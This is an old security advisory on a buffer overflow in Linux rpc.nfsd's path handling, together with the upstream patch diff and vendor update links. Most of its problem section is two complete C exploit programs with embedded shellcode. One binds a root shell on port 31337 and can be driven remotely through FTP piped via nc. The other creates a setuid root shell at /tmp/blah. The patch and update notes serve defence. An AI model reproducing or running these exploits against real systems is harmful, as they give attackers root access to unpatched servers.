COMMAND
nfsd
SYSTEMS AFFECTED
RedHat 4.x, 5.x, Debian 2.1, Slackware7
PROBLEM
Mariusz Marcinkiewicz posted following. Few months ago one of his
friends - digit - found bug in linux nfsd daemon. He made example
exploit about IV 1999. Now in distributions is new nfsd and
nowhere was information about security weaknes of old version!
Linux rpc.nfsd has real_path bug. When user has been trying access
directory with long path nfsd got SIGSEGV. There was buffer
overflow which we can exploit and get root privileges on server
machine. Length of path is checked if user is trying make
long-path-directory by nfs but isn't checked when he is trying
remove it. One way to exploit this bug is creating long-path-dir
localy and later rm it by nfs. In some cases bug can be exploited
remotely: if attacker has write access to exported directories by
ftpd. Exploit follows:
/*
* rpc.nfsd2 exploit for Linux
*
* today is 4/07/99 (3 months after 1st version;)
*
* changes in v.2:
* That version can be used for FULL remote exploiting, I changed/added
* two important things:
* - new shellcode: sh on defined port
* - creating dirs via ftp
* Now you can hack box remotely if you have +w via ftp.
* (./3nfsd2 -e /home/ftp/incoming -f /incoming) | nc target 21
*
* author: tmoggie
* greetz:
* DiGiT - bug
* maxiu - help with shellcode
* lam3rZ GrP - :)
*
*/
#include <sys/stat.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define green "\E[32m"
#define bold "\E[1m"
#define normal "\E[m"
#define red "\E[31m"
char shell[255] =
"\xeb\x70\x31\xc9\x31\xdb\x31\xc0\xb0\x46\xcd\x80\x5e\x83\xc6\x0f\x89\x46"
"\x10\x89\x46\x14\x89\x46\x18\xb0\x02\x89\x06\x89\x46\x0c\xb0\x06\x89\x46"
"\x08\x31\xc0\xfe\xc3\x89\x5e\x04\xb0\x66\x89\xf1\xcd\x80\x89\x06\xb0\x30"
"\x31\xdb\x31\xc9\xb3\x0e\xfe\xc1\xcd\x80\x66\xb8\x69\x7a\x86\xc4\x66\x89"
"\x46\x0e\x8d\x46\x0c\x89\x46\x04\x31\xc0\xb0\x10\x89\x46\x08\xb0\x66\x31"
"\xdb\xb3\x02\x89\xf1\xcd\x80\x31\xc0\xfe\xc0\x89\x46\x04\xb0\x66\xb3\x04"
"\x89\xf1\xcd\x80\xeb\x04\xeb\x60\xeb\x8c\x89\x46\x0c\x8d\x46\x0c\x89\x46"
"\x04\x89\x46\x08\xc6\x46\x0c\x10\x31\xc0\xb0\x66\x31\xdb\xb3\x05\x89\xf1"
"\xcd\x80\x83\xee\x0f\x89\xc3\x31\xc9\x89\x4e\x14\xb0\x3f\xcd\x80\x41\xb0"
"\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\xfe\x06\xfe\x46\x04\x88\x66\x07\x88\x66"
"\x0b\x89\x76\x0c\x8d\x46\x09\x89\x46\x10\x31\xc0\xb0\x0b\x89\xf3\x8d\x4e"
"\x0c\x8d\x56\x10\xcd\x80\x31\xdb\x89\xd8\xfe\xc0\xcd\x80\xe8\x9b\xff\xff";
char next[] = "\xff\x2e\x62\x69\x6e\x2e\x73\x68\x41\x41\x2d\x69";
char mark[] = "\xff\xff\xff";
int port = 31337;
int offset;
void usage(char *prog) {
printf("\nusage: %s <-e dir> [-t target] [-s port] "
"[-f dir] [-u user] [-p pass]\n\n",prog);
printf(" -e dir : real-path to exported direectory\n");
printf(" -t target : target OS\n ");
printf(" 1 - RH 5.2 (default) \n"
" 2 - Debian 2.1\n");
printf(" -s port : shell port, default is 31337\n");
printf(" -f dir : ftp-path to exported directory\n");
printf(" -u : ftp username (default is ftp)\n");
printf(" -p : ftp password (default is ftp@ftp.org\n\n");
exit(0);
}
void main(int argc, char **argv) {
int i,j;
int ftp=0;
char user[255]="ftp";
char pass[255]="ftp@ftp.org";
char buf[4096];
char buf2[4096];
char tmp[4096];
char tmp2[4096];
char exp[255] = "!";
char exp2[255]= "!";
char addr[] = "\x06\xf6\xff\xff\xbf";
while (1) {
i = getopt(argc,argv,"t:e:s:f:u:p:");
if (i == -1) break;
switch (i) {
case 'e': strcpy(exp,optarg); break;
case 's': port = optarg; break;
case 'f': strcpy(exp2,optarg); ftp = 1; break;
case 'u': strcpy(user,optarg); break;
case 'p': strcpy(pass,optarg); break;
case 't': switch (j=atoi(optarg)) {
case 1: strcpy(addr,"\x06\xf6\xff\xff\xbf");
break; // debian 1.2
case 2: strcpy(addr,"\x18\xf6\xff\xff\xbf");
break; // rh 5.2
}
default : usage(argv[0]); break;
}
}
if (!strcmp(exp,"!")) usage(argv[0]);
if (ftp == 1) {
// sockets, resolve, connect......
}
*((unsigned short *) (shell + 66)) = port;
offset = strlen(exp);
if (exp[offset-1] != '/') strcat(exp,"/");
offset = strlen(exp);
// 1st directory
bzero(buf,sizeof(buf));
memset(tmp,'A',255);
tmp[255]='/';
tmp[256]='\0';
strncpy(buf,exp,offset);
// make our dirs
if (ftp == 1) {
printf("USER %s\n",user);
printf("PASS %s\n",pass);
printf("CWD %s\n",exp2);
}
for (i=1;i<=3;i++) {
strncat(buf,tmp,strlen(tmp));
if (ftp != 1) {
if (mkdir(buf,0777) < 0) {
printf(red"...fuck! can't create directory!!! : %d\n%s\n"normal,i,buf);
exit(-1);
}
} else {
tmp[255]='\0';
printf("MKD %s\n",tmp);
printf("CWD %s\n",tmp);
}
}
// offset direcory, length depends on real-path
memset(tmp,'A',255);
tmp[255-offset]='/';
tmp[256-offset]='\0';
strncat(buf,tmp,strlen(tmp));
if (ftp != 1) {
if (mkdir(buf,0777) < 0) {
printf(red"...fuqn offset dirW#$#@%#$^%T#\n"normal);
exit(-1);
}
} else {
tmp[255-offset]='\0';
printf("MKD %s\n",tmp);
printf("CWD %s\n",tmp);
}
// shell directory
memset(tmp,'x',255);
// printf("%d\n", strlen(shell));
if (ftp == 1) strncat(shell,mark,strlen(mark));
// printf("%d\n", strlen(shell));
strncat(shell,next,strlen(next));
if (ftp == 1) i=3; else i=0;
strcpy(tmp+(255+i-strlen(shell)),shell);
// printf("%d\n", strlen(shell));
strncat(buf,tmp,strlen(tmp));
strncat(buf,"/",strlen("/"));
if (ftp != 1) {
if (mkdir(buf,0777) < 0) {
printf(red"...fuck!@# shell-dir\n%s\n"normal, buf);
exit(-1);
}
} else {
tmp[258]='\0';
printf("MKD %s\n",tmp);
printf("CWD %s\n",tmp);
}
// addr direcotry
memset(tmp,'a',255);
tmp[97] = '\0';
// *((int*)(tmp+93)) = addr;
// if (ftp != 1) *((int*)(tmp+93)) = 0xbffff606; // debian 2.1
// else {
strcpy(tmp+93,addr);
// }
strncat(buf,tmp,strlen(tmp));
if (ftp != 1) {
if (mkdir(buf,0777) < 0) {
printf(red"...fuck!@#!@#!$ addrez-dir ^\n%s\n"normal, buf);
exit(-1);
}
} else {
printf("MKD %s\n",tmp);
printf("quit\n",tmp);
}
fprintf(stderr,normal green"Ok\n"normal);
fprintf(stderr,"now you have to do: "bold green \
"rm -rf /path-to-mount-point/A[tab] & \n"
"and: telnet target %d\n\n"normal,port);
}
The version of exploit above wasn't tested well. Maybe it doesn't
work in some cases. Below is old version of rpc.nfsd exploit.
This one is local only, shellcode will make "chown root /tmp/blah;
chmod +s /tmp/blah". It should works for you.
/*
* rpc.nfsd exploit for Linux
*
* author: tmoggie
* greetz:
* DiGiT - bug discovering,
* kil3r, maxiu and all of lam3rZ GrP
*
*/
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define green "\E[32m"
#define bold "\E[1m"
#define normal "\E[m"
#define red "\E[31m"
// shellcode from maxiu
// chmod 4777 /tmp/blah
char shell[] = "\xeb\x2d\x5e\xfe\x06\xfe\x46\x04\xfe\x46\x09\x31\xc9\x31\xdb"
"\x31\xc0\xb0\x46\xcd\x80\x31\xd2\x89\xf3\xb0\x10\xcd\x80\x66"
"\xb9\xff\x09\x89\xf3\xb0\x0f\xcd\x80\x31\xdb\x89\xd8\xfe\xc0"
"\xcd\x80\xe8\xce\xff\xff\xff.tmp.blah\xff\xff\xff\xff/";
char *cmd = "cp /bin/sh /tmp/blah";
int offset;
void usage(char *prog)
{
printf("\nusage: %s <-e dir> [-t target] [-c command] \n",prog);
printf("\n -e dir : full path to exported directory\n");
printf(" -t target : ");
printf("1 - RH 5.2 (default) 2 - Debian 2.1\n");
printf(" -c command: cmd to do as a normal user" \
" (default: cp /bin/sh /tmp/blah)\n\n");
exit(0);
}
void main(int argc, char **argv)
{
int i,j;
char buf[4096];
char buf2[4096];
char tmp[4096];
char exp[255] = "!";
int addr = 0xbffff667 ; // default RH 5.2
while (1)
{
i = getopt(argc,argv,"e:c:t:h");
if (i == -1) break;
switch (i)
{
case 'e': strcpy(exp,optarg); break;
case 'c': strcpy(cmd,optarg); break;
case 't': switch (j=atoi(optarg))
{
case 1: addr = 0xbffff667; break; // debian 1.2
case 2: addr = 0xbffff655; break; // rh 5.2
}
default : usage(argv[0]); break;
}
}
if (!strcmp(exp,"!")) usage(argv[0]);
printf(bold"cmd");
if (system(cmd) != 0)
{
printf(red"....failed!\n"normal);
exit(-1);
}
printf(normal green"\tOk\n"normal);
offset = strlen(exp);
if (exp[offset-1] != '/') strcat(exp,"/");
offset = strlen(exp);
bzero(buf,sizeof(buf));
memset(tmp,'A',255);
tmp[255]='/';
tmp[256]='\0';
strncpy(buf,exp,offset);
printf(bold"dirs");
for (i=1;i<=3;i++)
{
strncat(buf,tmp,strlen(tmp));
if (mkdir(buf,0777) < 0)
{
printf(red"...fuck! can't create directory!!! : %d\n"normal,i);
exit(-1);
}
}
memset(tmp,'A',255);
tmp[255-offset]='/';
tmp[256-offset]='\0';
strncat(buf,tmp,strlen(tmp));
if (mkdir(buf,0777) < 0)
{
printf(red"...fuqn offset dirW#$#@%#$^%T#\n"normal);
exit(-1);
}
memset(tmp,'\x90',255);
strcpy(tmp+(255-strlen(shell)),shell);
strncat(buf,tmp,strlen(tmp));
if (mkdir(buf,0777) < 0)
{
printf(red"...fuck!@# shell-dir\n"normal);
exit(-1);
}
memset(tmp,'a',255);
tmp[97] = '\0';
*((int*)(tmp+93)) = addr;
strncat(buf,tmp,strlen(tmp));
if (mkdir(buf,0777) < 0)
{
printf(red"...fuck!@#!@#!$ addrez-dir ^\n"normal);
exit(-1);
}
printf(normal green"\tOk\n"normal);
printf("now you have to do: "bold green \
"rm -rf /path-to-mount-point/A[tab] & \n\n"normal);
}
SOLUTION
The true cause of the problem is that the code relies on the
total length of a path to not exceed PATH_MAX + NAME_MAX. Not
sure whether this is a common Unix problem, but at least on Linux,
PATH_MAX merely seems to put an upper limit on the length of a
single path you can hand to a syscall (size of a page - 1, i.e.
4095). However it still allows you to create files within that
directory as long as you use relative names only... As to the
impact of the problem, it's nasty, but you will need to have a
directory exported read/write to you in order to exploit it (or
you're able to impersonate a host with this kind of access).
Appended you'll find a patch against 2.2beta46 that rectifies
this problem. The full source for 2.2beta47 can be found at:
ftp://linux.mathematik.tu-darmstadt.de/pub/linux/people/okir
Another version (2.2.48) that has some additional, non-security
related fixes can be found in the dontuse subdirectory.
diff -ur nfs-server-2.2beta46/ChangeLog nfs-server-2.2beta47/ChangeLog
--- nfs-server-2.2beta46/ChangeLog Tue Sep 14 11:21:15 1999
+++ nfs-server-2.2beta47/ChangeLog Wed Nov 10 10:17:51 1999
@@ -1,3 +1,9 @@
+Wed Nov 10 10:17:16 1999
+
+ * Security fix for buffer overflow in fh_buildpath
+ No thanks to Mariusz who reported it to bugtraq
+ rather than me.
+
Wed Sep 8 09:07:38 1999
* If a host is listed by IP addr, do a reverse lookup
diff -ur nfs-server-2.2beta46/auth_clnt.c nfs-server-2.2beta47/auth_clnt.c
--- nfs-server-2.2beta46/auth_clnt.c Tue Sep 7 09:54:50 1999
+++ nfs-server-2.2beta47/auth_clnt.c Wed Nov 10 10:18:06 1999
@@ -12,6 +12,7 @@
*/
+#include "system.h"
#include "nfsd.h"
#include "fakefsuid.h"
diff -ur nfs-server-2.2beta46/exports.man nfs-server-2.2beta47/exports.man
--- nfs-server-2.2beta46/exports.man Mon Dec 8 16:59:50 1997
+++ nfs-server-2.2beta47/exports.man Wed Nov 10 10:18:49 1999
@@ -75,11 +75,12 @@
off, specify
.IR insecure .
.TP
-.IR ro
-Allow only read-only requests on this NFS volume. The default is to
-allow write requests as well, which can also be made explicit by using
-the
-.IR rw " option.
+.\" This used to be a documentation bug in previous versions...
+.IR rw
+Allow the client to modify files and directories. The default is to
+restrict the client to read-only request, which can be made explicit
+by using the
+.IR ro " option.
.TP
.I noaccess
This makes everything below the directory inaccessible for the named
diff -ur nfs-server-2.2beta46/fh.c nfs-server-2.2beta47/fh.c
--- nfs-server-2.2beta46/fh.c Mon Nov 23 14:08:11 1998
+++ nfs-server-2.2beta47/fh.c Wed Nov 10 10:31:49 1999
@@ -43,6 +43,10 @@
* This software maybe be used for any purpose provided
* the above copyright notice is retained. It is supplied
* as is, with no warranty expressed or implied.
+ *
+ * Note: the original code mistakenly assumes that the overall path
+ * length remains within the value given by PATH_MAX... that leads
+ * to interesting buffer overflows all over the place.
*/
#include <assert.h>
@@ -533,7 +537,7 @@
char *slash_stack[HP_LEN];
struct stat sbuf;
psi_t psi;
- int i;
+ int i, pathlen;
if (h->hash_path[0] >= HP_LEN) {
Dprintf(L_ERROR, "impossible hash_path[0] value: %s\n",
@@ -549,7 +553,7 @@
return (NULL);
return xstrdup("/");
}
- /* else */
+
if (hash_psi(psi) != h->hash_path[1])
return (NULL);
@@ -562,35 +566,42 @@
backtrack:
if (efs_stat(pathbuf, &sbuf) >= 0
- && (dir = efs_opendir(pathbuf)) != NULL) {
+ && (dir = efs_opendir(pathbuf)) != NULL) {
+ pathlen = strlen(pathbuf);
if (cookie_stack[i] != 0)
efs_seekdir(dir, cookie_stack[i]);
while ((dp = efs_readdir(dir))) {
- if (strcmp(dp->d_name, ".") != 0
- && strcmp(dp->d_name, "..") != 0) {
- psi = pseudo_inode(dp->d_ino, sbuf.st_dev);
- if (i == h->hash_path[0] + 1) {
- if (psi == h->psi) {
- /*GOT IT*/
- strcat(pathbuf, dp->d_name);
- path = xstrdup(pathbuf);
- efs_closedir(dir);
- auth_override_uid(auth_uid);
- return (path);
- }
- } else {
- if (hash_psi(psi) == h->hash_path[i]) {
- /*PERHAPS WE'VE GOT IT */
- cookie_stack[i] = efs_telldir(dir);
- cookie_stack[i + 1] = 0;
- slash_stack[i] = pathbuf + strlen(pathbuf);
- strcpy(slash_stack[i], dp->d_name);
- strcat(pathbuf, "/");
-
- efs_closedir(dir);
- goto deeper;
- }
- }
+ char *name = dp->d_name;
+ int n = strlen(name);
+
+ if (pathlen + n + 1 >= NFS_MAXPATHLEN
+ || (name[0] == '.'
+ && (n == 1 || (n == 2 && name[1] == '.'))))
+ continue;
+
+ psi = pseudo_inode(dp->d_ino, sbuf.st_dev);
+ if (i == h->hash_path[0] + 1) {
+ if (psi != h->psi)
+ continue;
+ /* GOT IT */
+ strcpy(pathbuf + pathlen, dp->d_name);
+ path = xstrdup(pathbuf);
+ efs_closedir(dir);
+ auth_override_uid(auth_uid);
+ return (path);
+ } else {
+ if (hash_psi(psi) != h->hash_path[i])
+ continue;
+
+ /* PERHAPS WE'VE GOT IT */
+ cookie_stack[i] = efs_telldir(dir);
+ cookie_stack[i + 1] = 0;
+ slash_stack[i] = pathbuf + pathlen;
+ strcpy(slash_stack[i], dp->d_name);
+ strcat(pathbuf, "/");
+
+ efs_closedir(dir);
+ goto deeper;
}
}
/* dp == NULL */
@@ -1252,6 +1263,10 @@
* FH; don't bother with setting up a cache entry for
* now (happens later). */
if (fname[0] == '/') {
+ /* shouldn't happen because the name's limited
+ * by NFS_MAXNAMELEN == 255 */
+ if (strlen(fname) >= NFS_MAXPATHLEN)
+ return NFSERR_NAMETOOLONG;
sbp->st_nlink = 0;
return fh_create(new_fh, fname);
}
@@ -1265,6 +1280,10 @@
return NFSERR_ACCES;
fname = dopa->name;
}
+
+ /* Security check */
+ if (strlen(dirh->path) + strlen(dopa->name) + 1 >= NFS_MAXPATHLEN)
+ return NFSERR_NAMETOOLONG;
/* Construct path.
* Lookups of "" generated by broken OS/2 clients
diff -ur nfs-server-2.2beta46/nfsd.c nfs-server-2.2beta47/nfsd.c
--- nfs-server-2.2beta46/nfsd.c Sun Aug 29 17:19:29 1999
+++ nfs-server-2.2beta47/nfsd.c Wed Nov 10 10:33:28 1999
@@ -194,8 +194,10 @@
return status;
/* Get the directory path and append "/" + dopa->filename */
- sp = fhc->path;
+ if (strlen(fhc->path) + strlen(dopa->name) + 1 >= NFS_MAXPATHLEN)
+ return NFSERR_NAMETOOLONG;
+ sp = fhc->path;
while (*sp) /* strcpy(buf, fhc->path); */
*buf++ = *sp++;
*buf++ = '/'; /* strcat(buf, "/"); */
@@ -207,12 +209,8 @@
}
*buf = '\0';
- if (strlen(path) > NFS_MAXPATHLEN)
- return NFSERR_NAMETOOLONG;
-
- if ((nfsmount = auth_path(nfsclient, rqstp, path)) == NULL) {
+ if ((nfsmount = auth_path(nfsclient, rqstp, path)) == NULL)
return NFSERR_ACCES;
- }
auth_user(nfsmount, rqstp);
return (NFS_OK);
diff -ur nfs-server-2.2beta46/version.c nfs-server-2.2beta47/version.c
--- nfs-server-2.2beta46/version.c Tue Sep 7 10:38:26 1999
+++ nfs-server-2.2beta47/version.c Wed Nov 10 10:33:33 1999
@@ -1 +1 @@
-char version[] = "Universal NFS Server 2.2beta46";
+char version[] = "Universal NFS Server 2.2beta47";
It is recommended that all users of Red Hat Linux 4.x and 5.x
update to the fixed packages.
Red Hat Linux 4.x:
ftp://updates.redhat.com/4.2/i386/nfs-server-2.2beta47-0.i386.rpm
ftp://updates.redhat.com/4.2/i386/nfs-server-clients-2.2beta47-0.i386.rpm
ftp://updates.redhat.com/4.2/alpha/nfs-server-2.2beta47-0.alpha.rpm
ftp://updates.redhat.com/4.2/alpha/nfs-server-clients-2.2beta47-0.alpha.rpm
ftp://updates.redhat.com/4.2/sparc/nfs-server-2.2beta47-0.sparc.rpm
ftp://updates.redhat.com/4.2/sparc/nfs-server-clients-2.2beta47-0.sparc.rpm
ftp://updates.redhat.com/4.2/SRPMS/nfs-server-2.2beta47-0.src.rpm
Red Hat Linux 5.x:
ftp://updates.redhat.com/5.2/i386/nfs-server-2.2beta47-1.i386.rpm
ftp://updates.redhat.com/5.2/i386/nfs-server-clients-2.2beta47-1.i386.rpm
ftp://updates.redhat.com/5.2/alpha/nfs-server-2.2beta47-1.alpha.rpm
ftp://updates.redhat.com/5.2/alpha/nfs-server-clients-2.2beta47-1.alpha.rpm
ftp://updates.redhat.com/5.2/sparc/nfs-server-2.2beta47-1.sparc.rpm
ftp://updates.redhat.com/5.2/sparc/nfs-server-clients-2.2beta47-1.sparc.rpm
ftp://updates.redhat.com/5.2/SRPMS/nfs-server-2.2beta47-1.src.rpm
Red Hat Linux 6.x uses the knfsd kernel space NFS daemon and is
not affected by this problem.
Slackware patch:
ftp.cdrom.com:/pub/linux/slackware-7.0/patches